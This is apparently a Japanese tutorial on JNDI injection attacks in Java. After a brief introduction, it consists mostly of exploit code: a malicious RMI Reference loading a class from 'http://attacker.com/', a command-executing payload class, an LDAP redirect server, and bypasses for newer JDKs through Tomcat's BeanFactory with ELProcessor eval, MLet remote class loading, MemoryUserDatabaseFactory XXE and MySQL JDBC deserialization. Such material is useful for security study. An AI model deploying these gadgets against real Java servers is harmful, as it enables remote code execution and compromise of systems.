JNDIの基本概念
JNDI(Java Naming and Directory Interface)は、リソースに名前を付けてアクセスするためのAPIです。LDAP、RMI、DNS、CORBAなどのプロトコルをサポートしています。
RMIベースのJNDI利用
JNDI経由でRMIサービスにアクセスするコード例:
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) ctx.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("JNDI"));
}
}
JNDIインジェクション攻撃
攻撃者はlookupメソッドで指定されるリソースを操作することで、任意のコードを実行させる可能性があります。
Referenceクラスを利用した攻撃
public class JNDIServer {
public static void main(String[] args) throws Exception {
InitialContext context = new InitialContext();
Reference ref = new Reference("MaliciousClass", "MaliciousClass", "http://attacker.com/");
context.rebind("rmi://localhost:1099/exploit", ref);
}
}
攻撃用クラス:
public class MaliciousClass {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
// エラーハンドリング
}
}
}
JDKバージョンによる制限とバイパス
2016年以降のJDKアップデートにより、RMI経由のJNDIインジェクションは制限されました。しかしLDAP経由では依然として脆弱性が存在していました。
LDAPサーバーの実装例
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), 7777, ...));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
server.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
// 実装省略
}
}
高バージョンJDKでのバイパス技術
BeanFactory + ELProcessor
TomcatのBeanFactoryを利用した攻撃コード:
public class JndiBypass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}
MLetクラスを利用した探索
public class MLetJNDI {
public static void main(String[] args) throws Exception {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "org.apache.commons.collections.functors.InvokerTransformer"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("c", "ExploitClass"));
Registry registry = LocateRegistry.createRegistry(1099);
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}
MemoryUserDatabaseFactoryによるXXEとRCE
public class JndiXxe {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/xxe.xml"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}
JDBC経由のRCE
public class JdbcRce {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.sql.DataSource",
null, "", "", false,
"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:13240/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser"));
ref.add(new StringRefAddr("initialSize", "1"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
}
}